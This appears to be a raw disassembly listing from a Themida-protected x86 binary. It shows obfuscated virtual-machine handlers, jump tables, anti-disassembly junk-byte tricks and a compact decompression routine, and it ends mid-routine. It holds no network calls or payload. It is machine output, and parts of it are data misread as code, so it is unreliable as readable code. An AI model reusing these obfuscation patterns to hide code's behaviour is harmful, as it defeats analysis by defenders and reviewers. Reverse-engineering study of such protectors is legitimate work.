loc_58DF47:				; CODE XREF: sub_58A891+3608j
		cmp	dword ptr [ebp+7D133D5h], 0
		jz	short loc_58DF5F
		cmp	dword ptr [ebp+7D13301h], 0
		jz	short loc_58DF5F
		call	dword ptr [ebp+7D13301h]


loc_58DF5F:				; CODE XREF: sub_58A891+36BDj
					; sub_58A891+36C6j
		mov	esi, [ebp+7D14CA4h]
		retn
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	loc_58DF71
		and	[esi-3Dh], bl


loc_58DF71:				; CODE XREF: sub_58A891+36D8p
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 15h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 7Fh,	0B6h, 8Bh
		dd 0D1154195h, 0BA07h, 0BB660000h
		db 38h,	9Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_58DFA2
; ---------------------------------------------------------------------------


loc_58DFA0:				; CODE XREF: sub_58A891+3714j
		inc	eax
		inc	edi


loc_58DFA2:				; CODE XREF: sub_58A891+370Dj
		cmp	byte ptr [edi],	0
		jnz	short loc_58DFA0
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_58DFD1
; ---------------------------------------------------------------------------


loc_58DFAE:				; CODE XREF: sub_58A891+3742j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_58DFC6
; ---------------------------------------------------------------------------


loc_58DFC3:				; CODE XREF: sub_58A891+3738j
		mul	ebx
		dec	esi


loc_58DFC6:				; CODE XREF: sub_58A891+3730j
		cmp	esi, 0
		ja	short loc_58DFC3
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_58DFD1:				; CODE XREF: sub_58A891+371Bj
		or	eax, eax
		jnz	short loc_58DFAE
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	loc_58DFEA
		and	[esi-3Dh], bl


loc_58DFEA:				; CODE XREF: sub_58A891+3751p
		pop	esi
		mov	[esp-5Ah+arg_54+2], esi
		add	[esp-5Ah+arg_54+2], 18h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dw 0A332h
; ---------------------------------------------------------------------------
		pop	edi
		mov	ebp, esp
		push	0
		push	edx
		call	loc_58E00A
		and	[edx-3Dh], bl


loc_58E00A:				; CODE XREF: sub_58A891+3771p
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 1Bh
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dw 797Dh
		dd 0D643AE5Ch
		db 0E9h, 2Ah
; ---------------------------------------------------------------------------


loc_58E022:				; CODE XREF: sub_58A891:loc_58B33Dj
		mov	eax, ecx
		jmp	loc_58E1D6
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+28h+var_4]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_58E035:				; CODE XREF: sub_58A891:loc_58E04Dj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_58E040:				; CODE XREF: sub_58A891+383Aj
					; sub_58A891+38A2j ...
		add	dl, dl
		jnz	loc_58E04D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E04D:				; CODE XREF: sub_58A891+37B1j
		jnb	loc_58E035
		add	dl, dl
		jnz	loc_58E060
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E060:				; CODE XREF: sub_58A891+37C4j
		jnb	loc_58E0D0
		xor	eax, eax
		add	dl, dl
		jnz	loc_58E075
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E075:				; CODE XREF: sub_58A891+37D9j
		jnb	loc_58E1A5
		add	dl, dl
		jnz	loc_58E088
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E088:				; CODE XREF: sub_58A891+37ECj
		adc	eax, eax
		add	dl, dl
		jnz	loc_58E097
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E097:				; CODE XREF: sub_58A891+37FBj
		adc	eax, eax
		add	dl, dl
		jnz	loc_58E0A6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E0A6:				; CODE XREF: sub_58A891+380Aj
		adc	eax, eax
		add	dl, dl
		jnz	loc_58E0B5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E0B5:				; CODE XREF: sub_58A891+3819j
		adc	eax, eax
		jz	loc_58E0C3
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_58E0C3:				; CODE XREF: sub_58A891+3826j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E0D0:				; CODE XREF: sub_58A891:loc_58E060j
		mov	eax, 1


loc_58E0D5:				; CODE XREF: sub_58A891:loc_58E0F1j
		add	dl, dl
		jnz	loc_58E0E2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E0E2:				; CODE XREF: sub_58A891+3846j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58E0F1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E0F1:				; CODE XREF: sub_58A891+3855j
		jb	loc_58E0D5
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_58E138
		mov	ecx, 1


loc_58E109:				; CODE XREF: sub_58A891:loc_58E125j
		add	dl, dl
		jnz	loc_58E116
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E116:				; CODE XREF: sub_58A891+387Aj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58E125
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E125:				; CODE XREF: sub_58A891+3889j
		jb	loc_58E109
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E138:				; CODE XREF: sub_58A891+386Dj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_58E146:				; CODE XREF: sub_58A891:loc_58E162j
		add	dl, dl
		jnz	loc_58E153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E153:				; CODE XREF: sub_58A891+38B7j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58E162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E162:				; CODE XREF: sub_58A891+38C6j
		jb	loc_58E146
		cmp	eax, 7D00h
		jnb	loc_58E195
		cmp	eax, 500h
		jb	loc_58E18C
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E18C:				; CODE XREF: sub_58A891+38E7j
		cmp	eax, 7Fh
		ja	loc_58E198


loc_58E195:				; CODE XREF: sub_58A891+38DCj
		add	ecx, 2


loc_58E198:				; CODE XREF: sub_58A891+38FEj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E1A5:				; CODE XREF: sub_58A891:loc_58E075j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_58E1CA
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E1CA:				; CODE XREF: sub_58A891+391Cj
		sub	edi, [esp+28h]
		mov	[esp+28h+var_C], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_58E1D6:				; CODE XREF: sub_58A891+3793j
		mov	edx, 929h
		jmp	loc_5B2FEB
; ---------------------------------------------------------------------------
		dd offset byte_60FAC1
		dd 26F0023h, 26F001Bh, 60E0EDh,	60FAC1h, 0FFFFFFFFh, 12FEF4h
		dd 212h, 2, 1, 4, 0F887663Eh, 5	dup(0)
		dd offset loc_58EA5B
		dd offset loc_5919DF
		dd offset loc_592AF9
		dd offset loc_598978
		dd offset loc_594277
		dd offset loc_59BC2C
		dd offset loc_5937C9
		dd offset loc_598494
		dd offset loc_593713
		dd offset loc_592054
		dd offset loc_5977FB
		dd offset loc_5994A3
		dd offset loc_594FE8
		dd offset loc_59B140
; ---------------------------------------------------------------------------
		retf	599Ch
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_598D21
		dd offset loc_59B6C9
		dd offset off_599ABA
		dd offset loc_595D5A
		dd offset loc_598118
		dd offset loc_58EB84
		dd offset loc_59960A
		dd offset loc_595339
		dd offset off_593DB3
		dd offset loc_597652
		dd offset loc_594114
		dd offset loc_59A632
		dd offset loc_592D84
		dd offset loc_59493E
		dd offset loc_58E9C1
		dd offset loc_5997E3
		dd offset loc_59013C
		dd offset loc_592960
		dd offset loc_593729
		dd offset loc_59624C
		dd offset loc_594381
		dd offset loc_59B813
		dd offset loc_591814
		dd offset loc_58ED05
		dd offset loc_591313
		dd offset loc_59AC59
		dd offset loc_595294
		dd offset dword_59AD04
		dd offset loc_596437
		dd offset loc_58FEAC
		dd offset loc_596B93
		dd offset loc_59BB3E
		dd offset loc_598963
		dd offset loc_598AD8
		dd offset loc_59A5AB
		dd offset loc_5906DB
		dd offset loc_58F93B
		dd offset loc_595AC9
		dd offset loc_58E8F1
		dd offset loc_5988D9
		dd offset loc_592287
		dd offset loc_59AD86
		dd offset loc_597445
		dd offset loc_58E998
		dd offset loc_598783
		dd offset loc_597EA3
		dd offset loc_592A1E
		dd offset loc_596900
		dd offset loc_5919A1
		dd offset loc_59577B
		dd offset loc_591D7D
		dd offset loc_596E1F
		dd offset loc_594253
		dd offset loc_59ACA6
		dd offset loc_5940B6
		dd offset loc_58F14E
		dd offset loc_591710
		dd offset loc_599DC0
		dd offset loc_592947
		dd offset loc_59B039
		dd offset loc_592CDF
		dd offset loc_59473F
		dd offset byte_595E6F
		dd offset loc_595474
; ---------------------------------------------------------------------------
		jmp	edi
; ---------------------------------------------------------------------------
		dw 58h
		dd offset loc_5943F5
		dd offset loc_59B806
		dd offset loc_5912A5
		dd offset loc_596C13
		dd offset loc_58EA64
		dd offset loc_5984D6
		dd offset loc_594F7E
		dd offset loc_598BA1
		dd offset loc_595BEF
		dd offset loc_596C23
		dd offset loc_594B4D
		dd offset loc_5926DA
		dd offset loc_58FE9E
		dd offset loc_59669D
		dd offset loc_596BF6
		dd offset loc_593EFB
		dd offset loc_595FD4
		dd offset loc_599130
		dd offset loc_58E976
		dd offset loc_594887
		dd offset loc_58ECF9
		dd offset loc_594029
		dd offset loc_59368D
		dd offset loc_590B35
; ---------------------------------------------------------------------------
		shl	dword ptr [ebp+59h], 0
		movmskps ebx, oword ptr	[ecx+0]
		retf	59B8h
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_5933B2
		dd offset loc_5919D4
		dd offset loc_59B4DA
		dd offset loc_593652
		dd offset loc_598238
		dd offset off_597157
		dd offset loc_596A10
		dd offset loc_599218
		dd offset loc_5935F5
		dd offset loc_594E94
		dd offset loc_591CF5
		dd offset loc_58EC43
		dd offset loc_5929BA
		dd offset loc_593008
		dd offset loc_594A38
		dd offset loc_59A6B8
		dd offset loc_5908FE
		dd offset loc_5987BC
		dd offset loc_58E8E0
		dd offset loc_5980EC
		dd offset loc_5966E9
		dd offset loc_590CFF
		dd offset loc_5911AE
		dd offset loc_5985B4
		dd offset loc_598178
		dd offset loc_59544A
		dd offset loc_593215
		dd offset loc_5999D1
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 61h,	59h, 0
		dd offset loc_599317
		dd offset loc_591801
		dd offset loc_593B80
		dd offset loc_598C91
		dd offset loc_5920CE
		dd offset loc_593BA1
		dd offset loc_58F746
		dd offset loc_5990AE
		dd offset loc_593100
		dd offset word_594466
		dd offset loc_5932D0
		dd offset loc_5998B3
		dd offset loc_595CAC
		dd offset loc_58ED47
		dd offset loc_58E96B
		dd offset loc_59A1B4
		dd offset loc_58ED30
		dd offset loc_597C0A
		dd offset loc_59538F
		dd offset loc_59417D
		dd offset loc_592F24
		dd offset loc_590F87
; ---------------------------------------------------------------------------
		jmp	short loc_58E4DC
; ---------------------------------------------------------------------------
		dw 59h
		dd offset word_59994A
		dd offset loc_59026A
		dd offset loc_597518
		dd offset loc_58F933
		dd offset loc_59736C
		dd offset loc_58FD64
		dd offset loc_597F48
		dd offset loc_59A453
; ---------------------------------------------------------------------------


loc_58E4C0:				; CODE XREF: Themida_:005B3108j
					; Themida_:005B3112j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7D17E8Ah
		mov	eax, edi
		add	edi, 7D17BA2h
		cmp	eax, [edi+2Ch]
		jnz	short loc_58E4DE


loc_58E4DC:				; CODE XREF: sub_58A891+3C0Bj
		jmp	short loc_58E4F1
; ---------------------------------------------------------------------------


loc_58E4DE:				; CODE XREF: sub_58A891+3C49j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_58E4ED
; ---------------------------------------------------------------------------


loc_58E4E8:				; CODE XREF: sub_58A891+3C5Ej
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58E4ED:				; CODE XREF: sub_58A891+3C55j
		or	ecx, ecx
		jnz	short loc_58E4E8


loc_58E4F1:				; CODE XREF: sub_58A891:loc_58E4DCj
		mov	esi, [esp+2Ch+var_8]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58E4FE:				; CODE XREF: sub_58A891+3C74j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58E4FE


loc_58E507:				; CODE XREF: sub_58A891+3E86j
					; sub_58A891+40E7j ...
		lodsb
		push	small 1214h
		mov	word ptr [esp+2Eh+var_30+2], dx
		push	bx
		mov	bh, 18h
		mov	dh, bh
		pop	bx
		jmp	loc_592C06
; ---------------------------------------------------------------------------


loc_58E51D:				; CODE XREF: sub_58A891+10C86j
		sub	ebp, esi
		jmp	loc_59AF55
; ---------------------------------------------------------------------------


loc_58E524:				; CODE XREF: sub_58A891:loc_58F159j
		shr	bl, 2
		jz	loc_599297
		push	cx
		push	edx
		mov	dl, 83h
		jmp	loc_595523
; ---------------------------------------------------------------------------


loc_58E537:				; CODE XREF: sub_58A891+7808j
		add	eax, edi
		push	ebp
		push	ebx
		jmp	loc_592DF0
; ---------------------------------------------------------------------------


loc_58E540:				; CODE XREF: sub_58A891+40BDj
		shl	edx, 8
		shl	edx, 1
		push	eax
		push	ebp
		mov	ebp, 6E681D93h
		mov	eax, 305E5A52h
		xor	eax, ebp
		mov	ebp, [esp+44h+var_44]
		add	esp, 4
		inc	eax
		push	edi
		mov	edi, 307308D1h
		xor	edi, 0CF8CF72Eh
		add	eax, edi
		pop	edi
		xchg	eax, ebp
		inc	ebp
		xchg	eax, ebp
		jmp	loc_59649E
; ---------------------------------------------------------------------------


loc_58E574:				; CODE XREF: sub_58A891+50AEj
		sub	esp, 4
		mov	[esp+44h+var_44], esi
		jmp	loc_594D95
; ---------------------------------------------------------------------------


loc_58E57F:				; CODE XREF: sub_58A891+A4B2j
		pop	ebx
		pop	[esp+40h+var_40]
		pop	esp
		mov	[esp+38h+var_38], ebx
		push	[esp+38h+var_38]
		mov	eax, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_58EAA6
; ---------------------------------------------------------------------------


loc_58E595:				; CODE XREF: sub_58A891:loc_5936C7j
		sub	ebp, 0DDF3F3C5h
		mov	[edi+24h], ebp
		pop	ebp
		jmp	loc_594753
; ---------------------------------------------------------------------------


loc_58E5A4:				; CODE XREF: sub_58A891+90CCj
		sub	esi, ebp
		jmp	loc_59539E
; ---------------------------------------------------------------------------


loc_58E5AB:				; CODE XREF: sub_58A891+A3BAj
		push	esi
		mov	esi, 1C08100Dh
		sub	[esp+38h+var_34], esi
		pop	esi
		jmp	loc_59B114
; ---------------------------------------------------------------------------


loc_58E5BB:				; CODE XREF: sub_58A891+6659j
		add	eax, ebp
		mov	ebp, [esp+34h+var_34]
		jmp	loc_59B373
; ---------------------------------------------------------------------------


loc_58E5C5:				; CODE XREF: sub_58A891+A0E6j
		shl	ecx, 2
		push	0
		add	[esp+38h+var_38], 5FE83AEBh
		sub	[esp+38h+var_38], ecx
		jmp	loc_594E5A
; ---------------------------------------------------------------------------


loc_58E5DC:				; CODE XREF: sub_58A891+94D1j
		push	ebx
		jmp	loc_5901AF
; ---------------------------------------------------------------------------


loc_58E5E2:				; CODE XREF: sub_58A891+EF56j
		push	0FBAh
		mov	[esp+40h+var_40], ebp
		push	31E0h
		mov	[esp+44h+var_44], esp
		add	[esp+44h+var_44], 4
		mov	ebp, [esp+44h+var_44]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, 79DE745Dh
		add	ebp, ebx
		jmp	loc_596493
; ---------------------------------------------------------------------------


loc_58E615:				; CODE XREF: sub_58A891+954Cj
					; sub_58A891+FF00j
		add	eax, 2D0837D5h
		jmp	loc_597DE3
; ---------------------------------------------------------------------------


loc_58E61F:				; CODE XREF: sub_58A891+4622j
		xor	eax, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		jmp	loc_598992
; ---------------------------------------------------------------------------


loc_58E62A:				; CODE XREF: sub_58A891+84EEj
					; sub_58A891+EAC9j
		add	esp, 4
		mov	ecx, [esp+40h+var_40]
		jmp	loc_59480C
; ---------------------------------------------------------------------------


loc_58E638:				; CODE XREF: sub_58A891+6A72j
					; sub_58A891+7B82j
		jge	loc_59057E
		add	eax, 0F018AE52h
		add	edx, eax
		jmp	loc_58E712
; ---------------------------------------------------------------------------
		mov	bl, 0C4h


loc_58E64C:				; CODE XREF: sub_58A891+D8F1j
		mov	[esp+40h+var_40], ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+44h+var_44]
		jmp	loc_58F54F
; ---------------------------------------------------------------------------


loc_58E663:				; CODE XREF: sub_58A891+B01Aj
					; sub_58A891+FEEEj
		add	edx, ebx
		jmp	loc_592EC1
; ---------------------------------------------------------------------------


loc_58E66A:				; CODE XREF: sub_58A891+835Aj
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_5926F5
; ---------------------------------------------------------------------------


loc_58E679:				; CODE XREF: sub_58A891+8A57j
		push	edx
		push	ebp
		jmp	loc_598DF9
; ---------------------------------------------------------------------------


loc_58E680:				; CODE XREF: sub_58A891+6B70j
		shr	ecx, 4
		jnp	loc_590375
		xor	ecx, 518E4AB8h
		ja	loc_59661F
		xor	ecx, 5B6D9333h
		mov	eax, ecx
		mov	ecx, [esp+50h+var_50]
		pop	ebp


loc_58E6A1:				; CODE XREF: sub_58A891+6239j
		xor	edi, [esp+4Ch+var_4C]
		pop	esp
		push	ebp
		jmp	loc_5992C8
; ---------------------------------------------------------------------------


loc_58E6AB:				; CODE XREF: sub_58A891:loc_592E36j
					; sub_58A891+10665j
		jmp	loc_595C56
; ---------------------------------------------------------------------------


loc_58E6B0:				; CODE XREF: sub_58A891+51F1j
					; sub_58A891+D0AEj
		add	ebx, 4
		jmp	loc_59A4BD
; ---------------------------------------------------------------------------


loc_58E6BB:				; CODE XREF: sub_58A891+1023Bj
		push	[esp+4Ch+var_48]
		pop	ecx
		pop	[esp+4Ch+var_4C]
		pop	esp
		jmp	loc_5979C8
; ---------------------------------------------------------------------------


loc_58E6C9:				; CODE XREF: sub_58A891+D144j
		push	ebp
		jmp	loc_59369B
; ---------------------------------------------------------------------------


loc_58E6CF:				; CODE XREF: sub_58A891+D022j
		push	13F9h
		jmp	loc_59ABC9
; ---------------------------------------------------------------------------


loc_58E6D9:				; CODE XREF: sub_58A891+3F5Dj
		add	eax, 4
		jmp	loc_58FDEF
; ---------------------------------------------------------------------------


loc_58E6E3:				; CODE XREF: sub_58A891+43ADj
		not	ebx
		jmp	loc_597AF8
; ---------------------------------------------------------------------------


loc_58E6EA:				; CODE XREF: sub_58A891+CF01j
		push	esp
		jmp	loc_593C49
; ---------------------------------------------------------------------------


loc_58E6F0:				; CODE XREF: sub_58A891+D1FCj
					; sub_58A891+10CA2j
		mov	[esp+50h+var_50], eax
		mov	eax, esp
		push	edx
		mov	edx, 6F671314h
		sub	edx, 40FE3321h
		jmp	loc_59167E
; ---------------------------------------------------------------------------


loc_58E706:				; CODE XREF: sub_58A891+6D74j
		dec	ecx
		jl	loc_58EA3F
		jmp	loc_591698
; ---------------------------------------------------------------------------


loc_58E712:				; CODE XREF: sub_58A891+3DB4j
					; sub_58A891+6882j
		shl	word ptr [esp+40h+var_40], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58E71C:				; CODE XREF: sub_58A891+8C1Bj
		mov	ebp, 2
		add	esi, 56077619h
		add	esi, ebp
		push	ecx
		mov	ecx, 56077619h
		sub	esi, ecx
		pop	ecx
		pop	ebp
		xor	esi, [esp+40h+var_40]
		xor	[esp+40h+var_40], esi
		xor	esi, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		jmp	loc_58EF6B
; ---------------------------------------------------------------------------


loc_58E744:				; CODE XREF: sub_58A891+D262j
		xor	dh, 0D7h
		sub	cl, 0F5h
		add	cl, dh
		add	cl, 0F5h
		pop	edx
		pop	edx
		sub	al, cl
		mov	cx, word ptr [esp+38h+var_38]
		jmp	loc_59779F
; ---------------------------------------------------------------------------


loc_58E75C:				; CODE XREF: sub_58A891+C96Dj
		shr	ah, 1
		jmp	loc_594E7B
; ---------------------------------------------------------------------------


loc_58E763:				; CODE XREF: sub_58A891+F394j
		mov	cl, bl
		jmp	loc_59803B
; ---------------------------------------------------------------------------


loc_58E76A:				; CODE XREF: sub_58A891+3FD6j
					; sub_58A891+7C18j
		mov	eax, 2
		push	esi
		mov	esi, 56A95EA0h
		push	ecx
		mov	ecx, 7946039Eh
		and	ecx, 36301A0h
		dec	ecx
		push	esi
		mov	esi, 67390822h
		sub	esi, 14E8E41h
		jmp	loc_591878
; ---------------------------------------------------------------------------


loc_58E793:				; CODE XREF: sub_58A891+69EBj
					; sub_58A891+A5F0j
		add	esi, ebx
		push	edi
		mov	edi, 68B5A04h
		not	edi
		inc	edi
		sub	edi, 2B02A27h
		jmp	loc_59465C
; ---------------------------------------------------------------------------


loc_58E7A9:				; CODE XREF: sub_58A891+1114Bj
		mov	[esp+48h+var_48], eax
		mov	eax, 4
		add	ecx, eax
		push	[esp+48h+var_48]
		pop	eax
		jmp	loc_58FC25
; ---------------------------------------------------------------------------


loc_58E7BC:				; CODE XREF: sub_58A891+EE90j
		inc	edi
		dec	edi
		sub	edi, 60B80174h
		add	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 2B2B5CE1h
		push	0
		sub	[esp+4Ch+var_4C], ebx
		pop	ebx
		dec	ebx
		xor	ebx, 0D4D4A31Ah
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+44h+var_44]
		pop	esp
		mov	[esp+40h+var_40], eax
		push	esp
		mov	eax, [esp+44h+var_44]
		add	esp, 4
		jmp	loc_58E6D9
; ---------------------------------------------------------------------------


loc_58E7F3:				; CODE XREF: sub_58A891+44D0j
		or	[edi+1Ch], edx
		push	[esp+40h+var_40]
		pop	edx
		jmp	loc_5937EE
; ---------------------------------------------------------------------------
		push	[esp+40h+var_40]
		push	[esp+44h+var_44]
		jmp	loc_598E13
; ---------------------------------------------------------------------------


loc_58E80A:				; CODE XREF: sub_58A891+56DBj
		inc	ecx
		xor	ecx, 4DE609Fh
		sub	ecx, 5A8CE431h
		add	ebx, ecx
		pop	ecx
		add	ebx, 0A189F1FAh
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp+40h+var_40]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+40h+var_40], eax
		jmp	loc_58FB74
; ---------------------------------------------------------------------------


loc_58E83A:				; CODE XREF: sub_58A891+CA31j
		jmp	loc_59A2D4
; ---------------------------------------------------------------------------


loc_58E83F:				; CODE XREF: sub_58A891+D74Dj
		or	esi, edx
		pop	edx
		or	esi, 7B254A13h
		sub	esi, 0FFFFFFFFh
		and	esi, 2EE80716h
		shl	esi, 4
		add	esi, 51FF9002h
		add	edi, esi
		pop	esi
		jmp	loc_5967C9
; ---------------------------------------------------------------------------


loc_58E865:				; CODE XREF: sub_58A891+10928j
		pop	esi
		push	eax
		jmp	loc_58E76A
; ---------------------------------------------------------------------------


loc_58E86C:				; CODE XREF: sub_58A891+109EBj
		pop	esp
		mov	cx, word ptr [esp+34h+var_34]
		push	eax
		jmp	loc_59B72D
; ---------------------------------------------------------------------------


loc_58E877:				; CODE XREF: sub_58A891+ACE3j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_58F9A9
		push	ebx
		mov	ebx, 3CA75776h
		push	6056h
		mov	[esp+40h+var_40], eax
		push	esi
		mov	esi, 20h
		push	esi
		jmp	loc_58FCD5
; ---------------------------------------------------------------------------


loc_58E89B:				; CODE XREF: sub_58A891+97E8j
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp+48h+var_48]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+44h+var_44]
		jmp	loc_590145
; ---------------------------------------------------------------------------


loc_58E8B6:				; CODE XREF: sub_58A891+C7CCj
		xchg	ecx, [esp+44h+var_44]
		pop	edi
		jmp	loc_593DBD
; ---------------------------------------------------------------------------


loc_58E8BF:				; CODE XREF: sub_58A891+823Dj
		pop	ebp
		jmp	loc_59255B
; ---------------------------------------------------------------------------


loc_58E8C5:				; CODE XREF: sub_58A891+EF81j
					; sub_58A891+110C1j
		mov	[esp+3Ch+var_3C], ebp
		jmp	loc_596CFA
; ---------------------------------------------------------------------------
		align 2
		shr	byte ptr [edi+ebx*4], 1
		pop	edx
		sub	al, bl
		push	edx
		push	eax
		mov	ah, 14h
		add	ah, 0EDh
		jmp	loc_594767
; ---------------------------------------------------------------------------


loc_58E8E0:				; CODE XREF: sub_58A891+DB62j
					; DATA XREF: sub_58A891+3B87o
		push	ecx
		mov	ecx, 1Ch
		push	edx
		mov	edx, 5B0A1E0Eh
		jmp	loc_590DAD
; ---------------------------------------------------------------------------


loc_58E8F1:				; DATA XREF: sub_58A891+3A67o
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_5913D9
; ---------------------------------------------------------------------------


loc_58E8FA:				; CODE XREF: sub_58A891+8CDBj
		mov	eax, 2
		sub	edi, eax
		pop	eax
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	word ptr [esp+4+var_4],	ax
		mov	al, bl
		jmp	loc_59427D
; ---------------------------------------------------------------------------


loc_58E913:				; CODE XREF: sub_58A891+6E62j
		add	ecx, 647ACDh
		jmp	loc_591308
; ---------------------------------------------------------------------------


loc_58E91E:				; CODE XREF: sub_58A891+FCE6j
		add	bl, 41h
		jmp	loc_590CBF
; ---------------------------------------------------------------------------


loc_58E926:				; CODE XREF: sub_58A891+B935j
		sub	bx, 0D5Bh
		sub	bx, ax
		add	bx, 0D5Bh
		pop	eax
		jmp	loc_597131
; ---------------------------------------------------------------------------


loc_58E939:				; CODE XREF: sub_58A891+9C2Cj
		add	eax, ebp
		pop	ebp
		push	19D6h
		mov	[esp+0], edx
		mov	edx, 3DB97397h
		shl	edx, 3
		neg	edx
		jmp	loc_58E540
; ---------------------------------------------------------------------------


loc_58E953:				; CODE XREF: sub_58A891+DD86j
		mov	edx, 7F3F44D9h
		shr	edx, 2
		jnz	loc_5981B5
		and	edx, 436233FAh
		mov	bh, 2Bh
		pop	esp


loc_58E96B:				; DATA XREF: sub_58A891+3BEBo
		lodsd
		add	eax, 68416D3Eh
		jmp	loc_592213
; ---------------------------------------------------------------------------


loc_58E976:				; DATA XREF: sub_58A891+3B1Bo
		pop	dword ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58E97D:				; CODE XREF: sub_58A891+10659j
		add	eax, 4FCB5481h
		pop	ecx
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		btc	[esp+0], ax
		pushf
		jmp	loc_598A53
; ---------------------------------------------------------------------------


loc_58E998:				; DATA XREF: sub_58A891+3A7Bo
		push	[esp+8+var_8]
		jmp	loc_5978F6
; ---------------------------------------------------------------------------


loc_58E9A0:				; CODE XREF: sub_58A891+94AFj
		pop	ecx
		shl	bh, 2
		jmp	loc_59A0DF
; ---------------------------------------------------------------------------


loc_58E9A9:				; CODE XREF: sub_58A891:loc_59AAE1j
		shr	edi, 5
		jmp	loc_594F9D
; ---------------------------------------------------------------------------


loc_58E9B1:				; CODE XREF: sub_58A891+110E9j
		mov	[esp+8+var_8], ecx
		mov	ch, 0A6h
		jmp	loc_599884
; ---------------------------------------------------------------------------


loc_58E9BB:				; CODE XREF: sub_58A891+F04Bj
		push	edx
		jmp	loc_590A80
; ---------------------------------------------------------------------------


loc_58E9C1:				; DATA XREF: sub_58A891+3A07o
		mov	ax, word ptr [esp+8+var_8]
		push	eax
		sub	esp, 4
		jmp	loc_59B7E2
; ---------------------------------------------------------------------------


loc_58E9CE:				; CODE XREF: sub_58A891+DBA2j
		push	ecx
		mov	ecx, 788D416Ah
		jmp	loc_596AE5
; ---------------------------------------------------------------------------


loc_58E9D9:				; CODE XREF: sub_58A891+EC0Dj
		sub	edi, edx
		pop	edx
		xchg	edi, [esp+10h+var_10]
